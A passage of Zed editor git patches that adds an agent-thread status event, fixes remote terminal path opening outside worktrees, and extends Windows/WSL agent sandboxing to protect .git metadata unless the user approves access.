                 tx.send(f(this, cx).await).ok();
             }),
         });
+        cx.emit(AcpThreadEvent::StatusChanged);
 
         cx.spawn(async move |this, cx| {
             let response = rx.await;
@@ -3293,6 +3295,7 @@ impl AcpThread {
                 // state even when the send_task is cancelled before tx.send().
                 if is_same_turn {
                     this.running_turn.take();
+                    cx.emit(AcpThreadEvent::StatusChanged);
                 }
 
                 let Ok(response) = response else {
@@ -3410,6 +3413,7 @@ impl AcpThread {
 
         Self::flush_streaming_text(&mut self.streaming_text_buffer, cx);
         self.mark_pending_entries_as_canceled(cx);
+        cx.emit(AcpThreadEvent::StatusChanged);
 
         // Wait for the send task to complete
         cx.background_spawn(turn.send_task)
diff --git a/crates/agent_ui/src/agent_diff.rs b/crates/agent_ui/src/agent_diff.rs
index 316c7aaeeb54d1..8a329bdc7c84fa 100644
--- a/crates/agent_ui/src/agent_diff.rs
+++ b/crates/agent_ui/src/agent_diff.rs
@@ -1431,6 +1431,7 @@ impl AgentDiff {
                 self.update_reviewing_editors(workspace, window, cx);
             }
             AcpThreadEvent::TitleUpdated
+            | AcpThreadEvent::StatusChanged
             | AcpThreadEvent::TokenUsageUpdated
             | AcpThreadEvent::SubagentSpawned(_)
             | AcpThreadEvent::EntriesRemoved(_)
diff --git a/crates/agent_ui/src/conversation_view.rs b/crates/agent_ui/src/conversation_view.rs
index 50d45fbaba6052..e3e941a140b29f 100644
--- a/crates/agent_ui/src/conversation_view.rs
+++ b/crates/agent_ui/src/conversation_view.rs
@@ -277,6 +277,7 @@ impl Conversation {
                         }
                     }
                     AcpThreadEvent::NewEntry
+                    | AcpThreadEvent::StatusChanged
                     | AcpThreadEvent::TitleUpdated
                     | AcpThreadEvent::TokenUsageUpdated
                     | AcpThreadEvent::EntryUpdated(_)
@@ -521,6 +522,7 @@ fn affects_thread_metadata(event: &AcpThreadEvent) -> bool {
         | AcpThreadEvent::WorkingDirectoriesUpdated => true,
         // --
         AcpThreadEvent::EntryUpdated(_)
+        | AcpThreadEvent::StatusChanged
         | AcpThreadEvent::EntriesRemoved(_)
         | AcpThreadEvent::Retry(_)
         | AcpThreadEvent::TokenUsageUpdated
@@ -1486,6 +1488,13 @@ impl ConversationView {
             cx.emit(RootThreadUpdated);
         }
         match event {
+            AcpThreadEvent::StatusChanged => {
+                if let Some(active) = self.thread_view(&session_id) {
+                    active.update(cx, |active, cx| {
+                        active.sync_generating_indicator(cx);
+                    });
+                }
+            }
             AcpThreadEvent::NewEntry => {
                 let len = thread.read(cx).entries().len();
                 let index = len - 1;

From 776585038e56672e2bb5ee48899c79c654aeaba2 Mon Sep 17 00:00:00 2001
From: loadingalias <138315197+loadingalias@users.noreply.github.com>
Date: Mon, 29 Jun 2026 05:49:01 -0400
Subject: [PATCH 150/772] terminal_view: Resolve remote terminal paths outside
 worktrees (#52537)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Closes #39159

## Summary
• resolve remote terminal path candidates outside known worktrees
through `Project::resolve_abs_path`
 • keep the local filesystem backed resolution path unchanged
• preserve the existing preference for direct in-worktree matches when
the terminal cwd is already inside a worktree
• add regression coverage for both absolute and cwd-relative remote
external paths

### Why
The hyperlink parser wasn't the bug. `terminal_path_like_target` already
knew how to parse these paths. The actual problem was that remote
projects had no equivalent of the local background existence check.
After worktree lookup failed, remote projects only fell back to worktree
traversal, so cmd-click on `/tmp/a.txt` in an SSH remote terminal
no-op'd.

The project layer already has remote absolute-path resolution via
`Project::resolve_abs_path`, so the right fix is to use that existing
path for remote candidates instead of pretending remote projects cannot
resolve paths outside their worktrees.

## Verification
 • `cargo test -p terminal_view terminal_path_like_target --quiet`
 • `cargo test -p terminal_view --quiet`

## Manual
• Verified locally on my MBP w/ a stateless Zed build using SSH to self
(`localhost`)
 • Opened `/tmp/zed-39159-project` as a remote project
 • Confirmed cmd-click opens `/tmp/zed-39159-external/a.txt`
 • Confirmed cmd-click opens `zed-39159-external/b.txt` from `cwd=/tmp`
 • Confirmed in-worktree paths still open correctly
 • Confirmed nonexistent external paths do not open bogus targets

Release Notes:

- Fixed remote terminal path opening so cmd-click can open files outside
the project worktree.
---
 .../src/terminal_path_like_target.rs          |  87 ++++--
 crates/workspace/src/path_link.rs             | 280 ++++++++++++------
 2 files changed, 239 insertions(+), 128 deletions(-)

diff --git a/crates/terminal_view/src/terminal_path_like_target.rs b/crates/terminal_view/src/terminal_path_like_target.rs
index c90a2ce3d9507e..ac06721600498d 100644
--- a/crates/terminal_view/src/terminal_path_like_target.rs
+++ b/crates/terminal_view/src/terminal_path_like_target.rs
@@ -9,7 +9,7 @@ use util::{ResultExt, debug_panic};
 use workspace::path_link::possible_open_target;
 #[cfg(test)]
 use workspace::path_link::{
-    BackgroundFsChecks, OpenTargetFoundBy, possible_open_target_with_fs_checks,
+    BackgroundPathChecks, OpenTargetFoundBy, possible_open_target_with_fs_checks,
 };
 use workspace::{OpenOptions, OpenVisible, Workspace, path_link::OpenTarget};
 
@@ -30,7 +30,7 @@ pub(super) fn hover_path_like_target(
             hovered_word,
             path_like_target,
             cx,
-            BackgroundFsChecks::Enabled,
+            BackgroundPathChecks::LocalFileSystem,
         )
     }
 }
@@ -40,7 +40,7 @@ fn possible_hover_target(
     hovered_word: HoveredWord,
     path_like_target: &PathLikeTarget,
     cx: &mut Context<TerminalView>,
-    #[cfg(test)] background_fs_checks: BackgroundFsChecks,
+    #[cfg(test)] background_path_checks: BackgroundPathChecks,
 ) -> Task<()> {
     #[cfg(not(test))]
     let file_to_open_task = possible_open_target(
@@ -55,13 +55,13 @@ fn possible_hover_target(
         &path_like_target.maybe_path,
         path_like_target.terminal_dir.as_deref(),
         cx,
-        background_fs_checks,
+        background_path_checks,
     );
     cx.spawn(async move |terminal_view, cx| {
         let file_to_open = file_to_open_task.await;
         terminal_view
             .update(cx, |terminal_view, _| match file_to_open {
-                Some(OpenTarget::File(path, _) | OpenTarget::Worktree(path, ..)) => {
+                Some(OpenTarget::Path(path, ..) | OpenTarget::Worktree(path, ..)) => {
                     terminal_view.hover = Some(HoverTarget {
                         tooltip: path
                             .to_string(&|path: &PathBuf| path.to_string_lossy().into_owned()),
@@ -96,7 +96,7 @@ pub(super) fn open_path_like_target(
             path_like_target,
             window,
             cx,
-            BackgroundFsChecks::Enabled,
+            BackgroundPathChecks::LocalFileSystem,
         )
         .detach_and_log_err(cx)
     }
@@ -108,7 +108,7 @@ fn possibly_open_target(
     path_like_target: &PathLikeTarget,
     window: &mut Window,
     cx: &mut Context<TerminalView>,
-    #[cfg(test)] background_fs_checks: BackgroundFsChecks,
+    #[cfg(test)] background_path_checks: BackgroundPathChecks,
 ) -> Task<Result<Option<OpenTarget>>> {
     if terminal_view.hover.is_none() {
         return Task::ready(Ok(None));
@@ -134,7 +134,7 @@ fn possibly_open_target(
                         &path_like_target.maybe_path,
                         path_like_target.terminal_dir.as_deref(),
                         cx,
-                        background_fs_checks,
+                        background_path_checks,
                     )
                 }
             })?
@@ -224,7 +224,7 @@ mod tests {
     ) -> impl AsyncFnMut(
         HoveredWord,
         PathLikeTarget,
-        BackgroundFsChecks,
+        BackgroundPathChecks,
     ) -> (Option<HoverTarget>, Option<OpenTarget>) {
         let fs = app_cx.update(AppState::test).fs.as_fake().clone();
 
@@ -274,7 +274,7 @@ mod tests {
 
         async move |hovered_word: HoveredWord,
                     path_like_target: PathLikeTarget,
-                    background_fs_checks: BackgroundFsChecks|
+                    background_path_checks: BackgroundPathChecks|
                     -> (Option<HoverTarget>, Option<OpenTarget>) {
             let workspace_a = workspace.clone();
             terminal_view
@@ -284,7 +284,7 @@ mod tests {
                         hovered_word,
                         &path_like_target,
                         cx,
-                        background_fs_checks,
+                        background_path_checks,
                     )
                 })
                 .await;
@@ -300,7 +300,7 @@ mod tests {
                         &path_like_target,
                         window,
                         cx,
-                        background_fs_checks,
+                        background_path_checks,
                     )
                 })
                 .await
@@ -314,13 +314,13 @@ mod tests {
         test_path_like: &mut impl AsyncFnMut(
             HoveredWord,
             PathLikeTarget,
-            BackgroundFsChecks,
+            BackgroundPathChecks,
         ) -> (Option<HoverTarget>, Option<OpenTarget>),
         maybe_path: &str,
         tooltip: &str,
         terminal_dir: Option<PathBuf>,
-        background_fs_checks: BackgroundFsChecks,
-        mut open_target_found_by: OpenTargetFoundBy,
+        background_path_checks: BackgroundPathChecks,
+        open_target_found_by: OpenTargetFoundBy,
         file: &str,
         line: u32,
     ) {
@@ -334,7 +334,7 @@ mod tests {
                 maybe_path: maybe_path.to_string(),
                 terminal_dir,
             },
-            background_fs_checks,
+            background_path_checks,
         )
         .await;
 
@@ -369,12 +369,6 @@ mod tests {
             "Open target path mismatch at {file}:{line}:"
         );
 
-        if background_fs_checks == BackgroundFsChecks::Disabled
-            && open_target_found_by == OpenTargetFoundBy::FileSystemBackground
-        {
-            open_target_found_by = OpenTargetFoundBy::WorktreeScan;
-        }
-
         assert_eq!(
             open_target.found_by(),
             open_target_found_by,
@@ -404,7 +398,7 @@ mod tests {
                 $maybe_path,
                 $tooltip,
                 $cwd,
-                BackgroundFsChecks::Enabled,
+                BackgroundPathChecks::LocalFileSystem,
                 $found_by
             );
             test_path_like!(
@@ -412,7 +406,7 @@ mod tests {
                 $maybe_path,
                 $tooltip,
                 $cwd,
-                BackgroundFsChecks::Disabled,
+                BackgroundPathChecks::ProjectPathResolution,
                 $found_by
             );
         }};
@@ -479,7 +473,7 @@ mod tests {
                         $maybe_path,
                         $tooltip,
                         $cwd,
-                        BackgroundFsChecks::Enabled,
+                        BackgroundPathChecks::LocalFileSystem,
                         OpenTargetFoundBy::WorktreeExact
                     )
                 };
@@ -489,7 +483,7 @@ mod tests {
                         $maybe_path,
                         $tooltip,
                         $cwd,
-                        BackgroundFsChecks::Enabled,
+                        BackgroundPathChecks::LocalFileSystem,
                         OpenTargetFoundBy::$found_by
                     )
                 }
@@ -504,7 +498,7 @@ mod tests {
                         $maybe_path,
                         $tooltip,
                         $cwd,
-                        BackgroundFsChecks::Disabled,
+                        BackgroundPathChecks::ProjectPathResolution,
                         OpenTargetFoundBy::WorktreeExact
                     )
                 };
@@ -514,7 +508,7 @@ mod tests {
                         $maybe_path,
                         $tooltip,
                         $cwd,
-                        BackgroundFsChecks::Disabled,
+                        BackgroundPathChecks::ProjectPathResolution,
                         OpenTargetFoundBy::$found_by
                     )
                 }
@@ -939,7 +933,7 @@ mod tests {
                 vec![path!("/test")],
                 {
                     // Note: Opening a non-worktree file adds that file as a single file worktree.
-                    test_local!("file.txt", "/file.txt", "/", FileSystemBackground);
+                    test_local!("file.txt", "/file.txt", "/", BackgroundPathResolution);
                 }
             )
         }
@@ -966,12 +960,45 @@ mod tests {
                 vec![path!("/test")],
                 {
                     // Note: Opening a non-worktree file adds that file as a single file worktree.
-                    test_remote!("file.txt", "/test/file.txt", "/");
+                    test_remote!("file.txt", "/file.txt", "/", BackgroundPathResolution);
                     test_remote!("/test/file.txt", "/test/file.txt", "/");
                 }
             )
         }
 
+        // https://github.com/zed-industries/zed/issues/39159
+        #[gpui::test]
+        async fn issue_39159_remote_absolute_path_outside_worktree(cx: &mut TestAppContext) {
+            test_path_likes!(
+                cx,
+                vec![
+                    (
+                        path!("/tmp"),
+                        json!({
+                            "a.txt": "",
+                        }),
+                    ),
+                    (
+                        path!("/code/project"),
+                        json!({
+                            "src": {
+                                "lib.rs": "",
+                            },
+                        }),
+                    ),
+                ],
+                vec![path!("/code/project")],
+                {
+                    test_remote!(
+                        "/tmp/a.txt",
+                        "/tmp/a.txt",
+                        "/code/project",
+                        BackgroundPathResolution
+                    );
+                }
+            )
+        }
+
         // See https://github.com/zed-industries/zed/issues/34027
         #[gpui::test]
         #[should_panic(expected = "Tooltip mismatch")]
diff --git a/crates/workspace/src/path_link.rs b/crates/workspace/src/path_link.rs
index e707a7de6037d5..6cbcfccb14eb2e 100644
--- a/crates/workspace/src/path_link.rs
+++ b/crates/workspace/src/path_link.rs
@@ -1,7 +1,7 @@
 use crate::Workspace;
-use gpui::{App, AppContext, Task, WeakEntity};
+use gpui::{App, AppContext, Entity, Task, WeakEntity};
 use itertools::Itertools;
-use project::{Entry, Metadata};
+use project::{Entry, Worktree};
 use std::path::{Path, PathBuf};
 use util::{
     paths::{PathStyle, PathWithPosition, normalize_lexically},
@@ -13,13 +13,13 @@ use util::{
 pub enum OpenTargetFoundBy {
     WorktreeExact,
     WorktreeScan,
-    FileSystemBackground,
+    BackgroundPathResolution,
 }
 
 #[derive(Debug, Clone, Copy, Eq, PartialEq)]
-pub enum BackgroundFsChecks {
-    Enabled,
-    Disabled,
+pub enum BackgroundPathChecks {
+    LocalFileSystem,
+    ProjectPathResolution,
 }
 
 #[derive(Debug, Clone)]
@@ -29,28 +29,32 @@ pub enum OpenTarget {
         Entry,
         #[cfg(any(test, feature = "test-support"))] OpenTargetFoundBy,
     ),
-    File(PathWithPosition, Metadata),
+    Path(
+        PathWithPosition,
+        bool,
+        #[cfg(any(test, feature = "test-support"))] OpenTargetFoundBy,
+    ),
 }
 
 impl OpenTarget {
     pub fn is_file(&self) -> bool {
         match self {
             OpenTarget::Worktree(_, entry, ..) => entry.is_file(),
-            OpenTarget::File(_, metadata) => !metadata.is_dir,
+            OpenTarget::Path(_, is_dir, ..) => !is_dir,
         }
     }
 
     pub fn is_dir(&self) -> bool {
         match self {
             OpenTarget::Worktree(_, entry, ..) => entry.is_dir(),
-            OpenTarget::File(_, metadata) => metadata.is_dir,
+            OpenTarget::Path(_, is_dir, ..) => *is_dir,
         }
     }
 
     pub fn path(&self) -> &PathWithPosition {
         match self {
             OpenTarget::Worktree(path, ..) => path,
-            OpenTarget::File(path, _) => path,
+            OpenTarget::Path(path, ..) => path,
         }
     }
 
@@ -58,7 +62,7 @@ impl OpenTarget {
     pub fn found_by(&self) -> OpenTargetFoundBy {
         match self {
             OpenTarget::Worktree(.., found_by) => *found_by,
-            OpenTarget::File(..) => OpenTargetFoundBy::FileSystemBackground,
+            OpenTarget::Path(.., found_by) => *found_by,
         }
     }
 }
@@ -137,9 +141,9 @@ pub fn possible_open_target_with_fs_checks(
     maybe_path: &str,
     cwd: Option<&Path>,
     cx: &App,
-    background_fs_checks: BackgroundFsChecks,
+    background_path_checks: BackgroundPathChecks,
 ) -> Task<Option<OpenTarget>> {
-    possible_open_target_internal(workspace, maybe_path, cwd, cx, Some(background_fs_checks))
+    possible_open_target_internal(workspace, maybe_path, cwd, cx, Some(background_path_checks))
 }
 
 fn possible_open_target_internal(
@@ -147,7 +151,7 @@ fn possible_open_target_internal(
     maybe_path: &str,
     cwd: Option<&Path>,
     cx: &App,
-    background_fs_checks: Option<BackgroundFsChecks>,
+    background_path_checks: Option<BackgroundPathChecks>,
 ) -> Task<Option<OpenTarget>> {
     let Some(workspace) = workspace.upgrade() else {
         return Task::ready(None);
@@ -287,105 +291,96 @@ fn possible_open_target_internal(
         }
     }
 
-    let enable_background_fs_checks = background_fs_checks
-        .map(|background_fs_checks| background_fs_checks == BackgroundFsChecks::Enabled)
-        .unwrap_or_else(|| workspace.read(cx).project().read(cx).is_local());
-
     if open_target.is_some() {
-        if !enable_background_fs_checks || is_cwd_in_worktree {
+        if is_cwd_in_worktree {
             return Task::ready(open_target);
         }
     }
 
-    let fs_paths_to_check = if enable_background_fs_checks {
-        let fs_cwd_paths_to_check = cwd
-            .iter()
-            .flat_map(|cwd| {
-                let mut paths_to_check = Vec::new();
-                for path_to_check in &potential_paths {
-                    let maybe_path = &path_to_check.path;
-                    if path_to_check.path.is_relative() {
-                        paths_to_check.push(PathWithPosition {
-                            path: cwd.join(maybe_path),
-                            row: path_to_check.row,
-                            column: path_to_check.column,
-                        });
+    let project = workspace.read(cx).project().clone();
+    let background_path_checks = background_path_checks.unwrap_or_else(|| {
+        if project.read(cx).is_local() {
+            BackgroundPathChecks::LocalFileSystem
+        } else {
+            BackgroundPathChecks::ProjectPathResolution
+        }
+    });
+
+    let background_resolution_task = match background_path_checks {
+        BackgroundPathChecks::LocalFileSystem => {
+            let fs_paths_to_check =
+                local_paths_to_check(&potential_paths, cwd, &worktree_candidates, cx);
+            let fs = project.read(cx).fs().clone();
+            cx.background_spawn(async move {
+                for mut path_to_check in fs_paths_to_check {
+                    if let Some(fs_path_to_check) = fs.canonicalize(&path_to_check.path).await.ok()
+                        && let Some(metadata) = fs.metadata(&fs_path_to_check).await.ok().flatten()
+                    {
+                        if open_target
+                            .as_ref()
+                            .map(|open_target| open_target.path().path != fs_path_to_check)
+                            .unwrap_or(true)
+                        {
+                            path_to_check.path = fs_path_to_check;
+                            return Some(OpenTarget::Path(
+                                path_to_check,
+                                metadata.is_dir,
+                                #[cfg(any(test, feature = "test-support"))]
+                                OpenTargetFoundBy::BackgroundPathResolution,
+                            ));
+                        }
+
+                        break;
                     }
                 }
-                paths_to_check
+
+                open_target
             })
-            .collect::<Vec<_>>();
-        fs_cwd_paths_to_check
-            .into_iter()
-            .chain(
-                potential_paths
-                    .into_iter()
-                    .flat_map(|path_to_check| {
-                        let mut paths_to_check = Vec::new();
-                        let maybe_path = &path_to_check.path;
-                        if maybe_path.starts_with("~") {
-                            if let Some(home_path) = maybe_path
-                                .strip_prefix("~")
-                                .ok()
-                                .and_then(|stripped| Some(dirs::home_dir()?.join(stripped)))
-                            {
-                                paths_to_check.push(PathWithPosition {
-                                    path: home_path,
-                                    row: path_to_check.row,
-                                    column: path_to_check.column,
-                                });
-                            }
-                        } else {
-                            paths_to_check.push(PathWithPosition {
-                                path: maybe_path.clone(),
-                                row: path_to_check.row,
-                                column: path_to_check.column,
-                            });
-                            if maybe_path.is_relative() {
-                                for worktree in &worktree_candidates {
-                                    if !worktree.read(cx).is_single_file() {
-                                        paths_to_check.push(PathWithPosition {
-                                            path: worktree.read(cx).abs_path().join(maybe_path),
-                                            row: path_to_check.row,
-                                            column: path_to_check.column,
-                                        });
-                                    }
-                                }
-                            }
+        }
+        BackgroundPathChecks::ProjectPathResolution => {
+            let paths_to_check = project_paths_to_check(&potential_paths, cwd);
+            cx.spawn(async move |cx| {
+                for mut path_to_check in paths_to_check {
+                    let path = path_to_check.path.to_string_lossy();
+                    let resolve_task = project.update(cx, |project, cx| {
+                        project.resolve_abs_path(path.as_ref(), cx)
+                    });
+
+                    if let Some(resolved_path) = resolve_task.await
+                        && let Some(resolved_abs_path) = {
+                            let is_dir = resolved_path.is_dir();
+                            resolved_path
+                                .into_abs_path()
+                                .map(|resolved_abs_path| (resolved_abs_path, is_dir))
+                        }
+                    {
+                        let (resolved_abs_path, is_dir) = resolved_abs_path;
+                        let resolved_abs_path = PathBuf::from(resolved_abs_path);
+                        if open_target
+                            .as_ref()
+                            .map(|open_target| open_target.path().path != resolved_abs_path)
+                            .unwrap_or(true)
+                        {
+                            path_to_check.path = resolved_abs_path;
+                            return Some(OpenTarget::Path(
+                                path_to_check,
+                                is_dir,
+                                #[cfg(any(test, feature = "test-support"))]
+                                OpenTargetFoundBy::BackgroundPathResolution,
+                            ));
                         }
-                        paths_to_check
-                    })
-                    .collect::<Vec<_>>(),
-            )
-            .collect()
-    } else {
-        Vec::new()
-    };
 
-    let fs = workspace.read(cx).project().read(cx).fs().clone();
-    let background_fs_checks_task = cx.background_spawn(async move {
-        for mut path_to_check in fs_paths_to_check {
-            if let Some(fs_path_to_check) = fs.canonicalize(&path_to_check.path).await.ok()
-                && let Some(metadata) = fs.metadata(&fs_path_to_check).await.ok().flatten()
-            {
-                if open_target
-                    .as_ref()
-                    .map(|open_target| open_target.path().path != fs_path_to_check)
-                    .unwrap_or(true)
-                {
-                    path_to_check.path = fs_path_to_check;
-                    return Some(OpenTarget::File(path_to_check, metadata));
+                        break;
+                    }
                 }
 
-                break;
-            }
+                open_target
+            })
         }
-
-        open_target
-    });
+    };
 
     cx.spawn(async move |cx| {
-        background_fs_checks_task.await.or_else(|| {
+        background_resolution_task.await.or_else(|| {
             for (worktree, worktree_paths_to_check) in worktree_paths_to_check {
                 if let Some(found_entry) =
                     worktree.update(cx, |worktree, _| -> Option<OpenTarget> {
@@ -420,3 +415,92 @@ fn possible_open_target_internal(
         })
     })
 }
+
+fn local_paths_to_check(
+    potential_paths: &[PathWithPosition],
+    cwd: Option<&Path>,
+    worktree_candidates: &[Entity<Worktree>],
+    cx: &App,
+) -> Vec<PathWithPosition> {
+    cwd.iter()
+        .flat_map(|cwd| {
+            potential_paths.iter().filter_map(|path_to_check| {
+                path_to_check.path.is_relative().then(|| PathWithPosition {
+                    path: cwd.join(&path_to_check.path),
+                    row: path_to_check.row,
+                    column: path_to_check.column,
+                })
+            })
+        })
+        .chain(potential_paths.iter().flat_map(|path_to_check| {
+            let mut paths_to_check = Vec::new();
+            let maybe_path = &path_to_check.path;
+            if maybe_path.starts_with("~") {
+                if let Some(home_path) =
+                    maybe_path
+                        .strip_prefix("~")
+                        .ok()
+                        .and_then(|stripped_maybe_path| {
+                            Some(dirs::home_dir()?.join(stripped_maybe_path))
+                        })
+                {
+                    paths_to_check.push(PathWithPosition {
+                        path: home_path,
+                        row: path_to_check.row,
+                        column: path_to_check.column,
+                    });
+                }
+            } else {
+                paths_to_check.push(PathWithPosition {
+                    path: maybe_path.clone(),
+                    row: path_to_check.row,
+                    column: path_to_check.column,
+                });
+                if maybe_path.is_relative() {
+                    for worktree in worktree_candidates {
+                        if !worktree.read(cx).is_single_file() {
+                            paths_to_check.push(PathWithPosition {
+                                path: worktree.read(cx).abs_path().join(maybe_path),
+                                row: path_to_check.row,
+                                column: path_to_check.column,
+                            });
+                        }
+                    }
+                }
+            }
+            paths_to_check
+        }))
+        .collect()
+}
+
+fn project_paths_to_check(
+    potential_paths: &[PathWithPosition],
+    cwd: Option<&Path>,
+) -> Vec<PathWithPosition> {
+    cwd.iter()
+        .flat_map(|cwd| {
+            potential_paths
+                .iter()
+                .filter_map(|path_to_check| normalize_absolute_candidate(cwd, path_to_check))
+        })
+        .chain(potential_paths.iter().filter_map(|path_to_check| {
+            let maybe_path = &path_to_check.path;
+            (maybe_path.starts_with("~") || maybe_path.is_absolute()).then(|| path_to_check.clone())
+        }))
+        .collect()
+}
+
+fn normalize_absolute_candidate(
+    cwd: &Path,
+    path_to_check: &PathWithPosition,
+) -> Option<PathWithPosition> {
+    path_to_check.path.is_relative().then(|| {
+        normalize_lexically(&cwd.join(&path_to_check.path))
+            .ok()
+            .map(|path| PathWithPosition {
+                path,
+                row: path_to_check.row,
+                column: path_to_check.column,
+            })
+    })?
+}

From 3d1b26d68394a16c2432682cd89968747f8613f0 Mon Sep 17 00:00:00 2001
From: MartinYe1234 <52641447+MartinYe1234@users.noreply.github.com>
Date: Mon, 29 Jun 2026 02:54:36 -0700
Subject: [PATCH 151/772] Protect Git metadata in Windows sandboxes (#59799)

Summary:

- Protect Git metadata in Windows/WSL sandboxes by passing Git policy
into the WSL Bubblewrap wrapper.
- Map protected Git paths and overlay them read-only, while allowing
approved Git metadata paths to be writable.
- Update tool descriptions and sandboxing docs for platform-specific Git
metadata behavior.

Validation:

- cargo check -p sandbox
- cargo check -p sandbox --tests --target x86_64-pc-windows-msvc
- cargo check -p agent -p acp_thread
- git --no-pager diff --check

Release Notes:

- Improved Windows agent sandboxing to protect Git metadata unless
access is approved
---
 crates/acp_thread/src/terminal.rs       |   6 +-
 crates/agent/src/tools/terminal_tool.rs |  14 +-
 crates/sandbox/src/sandbox.rs           |  16 +-
 crates/sandbox/src/windows_wsl.rs       | 327 ++++++++++++++++++++----
 docs/src/ai/sandboxing.md               |  79 +++---
 5 files changed, 335 insertions(+), 107 deletions(-)

diff --git a/crates/acp_thread/src/terminal.rs b/crates/acp_thread/src/terminal.rs
index 9bc9702728fb69..b39d1e52a4e2ac 100644
--- a/crates/acp_thread/src/terminal.rs
+++ b/crates/acp_thread/src/terminal.rs
@@ -24,9 +24,9 @@ use util::get_default_system_shell_preferring_bash;
 /// Request to run a terminal command inside an OS-level sandbox.
 ///
 /// Passed to [`super::AcpThread::create_terminal`]. The actual sandboxing
-/// mechanism is platform-specific (macOS Seatbelt; Linux Bubblewrap; a no-op
-/// on other platforms), so callers describe the *intent* with plain data here
-/// rather than constructing platform-specific types directly.
+/// mechanism is platform-specific (macOS Seatbelt; Linux Bubblewrap; Windows
+/// via Bubblewrap inside WSL), so callers describe the *intent* with plain data
+/// here rather than constructing platform-specific types directly.
 ///
 /// Default is the fully-sandboxed run (no network, project-only writes).
 /// Setting `network` / `allow_fs_write` requests a relaxation; the caller is
diff --git a/crates/agent/src/tools/terminal_tool.rs b/crates/agent/src/tools/terminal_tool.rs
index eb99ab319d8514..87d334689cbbcf 100644
--- a/crates/agent/src/tools/terminal_tool.rs
+++ b/crates/agent/src/tools/terminal_tool.rs
@@ -163,14 +163,14 @@ pub struct SandboxedTerminalToolInput {
     /// set of paths is known. Requesting it triggers a user approval prompt.
     #[serde(default, alias = "allow_fs_write")]
     pub allow_fs_write_all: Option<bool>,
-    /// Set to `true` when the command needs to read or write protected Git
-    /// metadata.
+    /// Set to `true` when the command needs access to protected Git metadata.
     ///
-    /// By default sandboxed commands can't read the file contents of, or write
-    /// to, the `.git` directories of opened worktrees and discovered
-    /// repositories (their metadata stays visible). Set this for Git operations
-    /// that need those paths (commit, fetch, rebase, …). Requesting it triggers
-    /// a user approval prompt.
+    /// By default sandboxed commands can't write to the `.git` directories of
+    /// opened worktrees and discovered repositories. On macOS, `.git` file
+    /// contents are also hidden while metadata stays visible; on Linux and
+    /// Windows/WSL, `.git` contents remain readable but are mounted read-only.
+    /// Set this for Git operations that need to write those paths (commit,
+    /// fetch, rebase, …). Requesting it triggers a user approval prompt.
     #[serde(default)]
     pub allow_git_access: Option<bool>,
     /// Set to `true` only as a last resort, to run the command fully outside
diff --git a/crates/sandbox/src/sandbox.rs b/crates/sandbox/src/sandbox.rs
index c240e9416056ad..390fd4ed55296b 100644
--- a/crates/sandbox/src/sandbox.rs
+++ b/crates/sandbox/src/sandbox.rs
@@ -69,8 +69,9 @@ pub enum SandboxNetPolicy {
 /// treated.
 #[derive(Clone, Debug, Eq, PartialEq)]
 pub enum GitSandboxPolicy {
-    /// `.git` contents are protected: read-only on Linux; content reads and
-    /// writes denied on macOS (metadata stays visible either way).
+    /// `.git` contents are protected: read-only on Linux and Windows/WSL;
+    /// content reads and writes denied on macOS (metadata stays visible either
+    /// way).
     Denied { git_dirs: Vec<PathBuf> },
     /// `.git` contents are writable (these dirs are made writable).
     Allowed { git_dirs: Vec<PathBuf> },
@@ -311,8 +312,7 @@ enum NetSetup {
 pub struct Sandbox {
     fs: FsSetup,
     network: NetSetup,
-    /// The project's `.git` directories and whether they're writable. Enforced
-    /// on macOS/Linux; ignored by the WSL sandbox for now.
+    /// The project's `.git` directories and whether they're writable.
     git: GitSandboxPolicy,
     /// In-process network proxy for the restricted-network case, spawned on the
     /// first `wrap`. Dropped on a background thread (the join blocks).
@@ -490,7 +490,7 @@ impl Sandbox {
     /// the enforcement layers. When the whole filesystem is writable the split
     /// is empty (Git protection is moot); otherwise `Allowed` git dirs are
     /// writable and `Denied` git dirs are protected.
-    #[cfg(any(target_os = "macos", target_os = "linux"))]
+    #[cfg(any(target_os = "macos", target_os = "linux", target_os = "windows"))]
     fn git_path_split(&self) -> (Vec<PathBuf>, Vec<PathBuf>) {
         if self.fs.allow_fs_write {
             return (Vec::new(), Vec::new());
@@ -610,17 +610,17 @@ impl Sandbox {
         command: &CommandAndArgs,
     ) -> Result<WrappedCommand, SandboxError> {
         // Restricted host network access is rejected at `new` time on Windows.
-        // Git-dir protection isn't enforced for the WSL sandbox yet, so the
-        // policy's Git directories are intentionally ignored here.
-        let _ = self.git.git_dirs();
         let permissions = windows_wsl::SandboxPermissions {
             allow_network: matches!(self.network, NetSetup::Unrestricted),
             allow_fs_write: self.fs.allow_fs_write,
         };
+        let (writable_git_paths, protected_git_paths) = self.git_path_split();
         let (program, args) = windows_wsl::wrap_invocation(
             command.program.clone(),
             command.args.clone(),
             self.fs.writable_paths.clone(),
+            writable_git_paths,
+            protected_git_paths,
             permissions,
             command.cwd.clone(),
             command.env.clone(),
diff --git a/crates/sandbox/src/windows_wsl.rs b/crates/sandbox/src/windows_wsl.rs
index e1254d40adb25c..03c1c457212ca6 100644
--- a/crates/sandbox/src/windows_wsl.rs
+++ b/crates/sandbox/src/windows_wsl.rs
@@ -141,10 +141,12 @@ impl PathMapping {
 /// into a Linux shell invocation (typically `/bin/sh -c ...`) before calling
 /// this function.
 ///
-/// All writable paths and the cwd must be paths that can be mapped into WSL.
-/// WSL UNC paths may specify a distro; native drive-letter paths are
-/// translated with `wslpath` inside either that distro or the default distro
-/// (falling back to `/mnt/<drive>/...` if translation fails).
+/// All writable paths, Git paths, and the cwd must be paths that can be mapped
+/// into WSL. The cwd and ordinary writable paths must exist; Git metadata paths
+/// may be missing because Bubblewrap cannot bind a missing source. WSL UNC paths
+/// may specify a distro; native drive-letter paths are translated with `wslpath`
+/// inside either that distro or the default distro (falling back to
+/// `/mnt/<drive>/...` if translation fails).
 ///
 /// `env` is forwarded into the sandboxed command via `bwrap --setenv` rather
 /// than being set on the `wsl.exe` process. Windows environment variables
@@ -170,6 +172,8 @@ pub async fn wrap_invocation<S: std::hash::BuildHasher>(
     program: String,
     args: Vec<String>,
     writable_paths: Vec<PathBuf>,
+    writable_git_paths: Vec<PathBuf>,
+    protected_git_paths: Vec<PathBuf>,
     permissions: SandboxPermissions,
     cwd: Option<PathBuf>,
     env: HashMap<String, String, S>,
@@ -193,8 +197,36 @@ pub async fn wrap_invocation<S: std::hash::BuildHasher>(
             })
         })
         .collect::<Result<Vec<_>>>()?;
+    let writable_git_mappings = writable_git_paths
+        .iter()
+        .map(|path| {
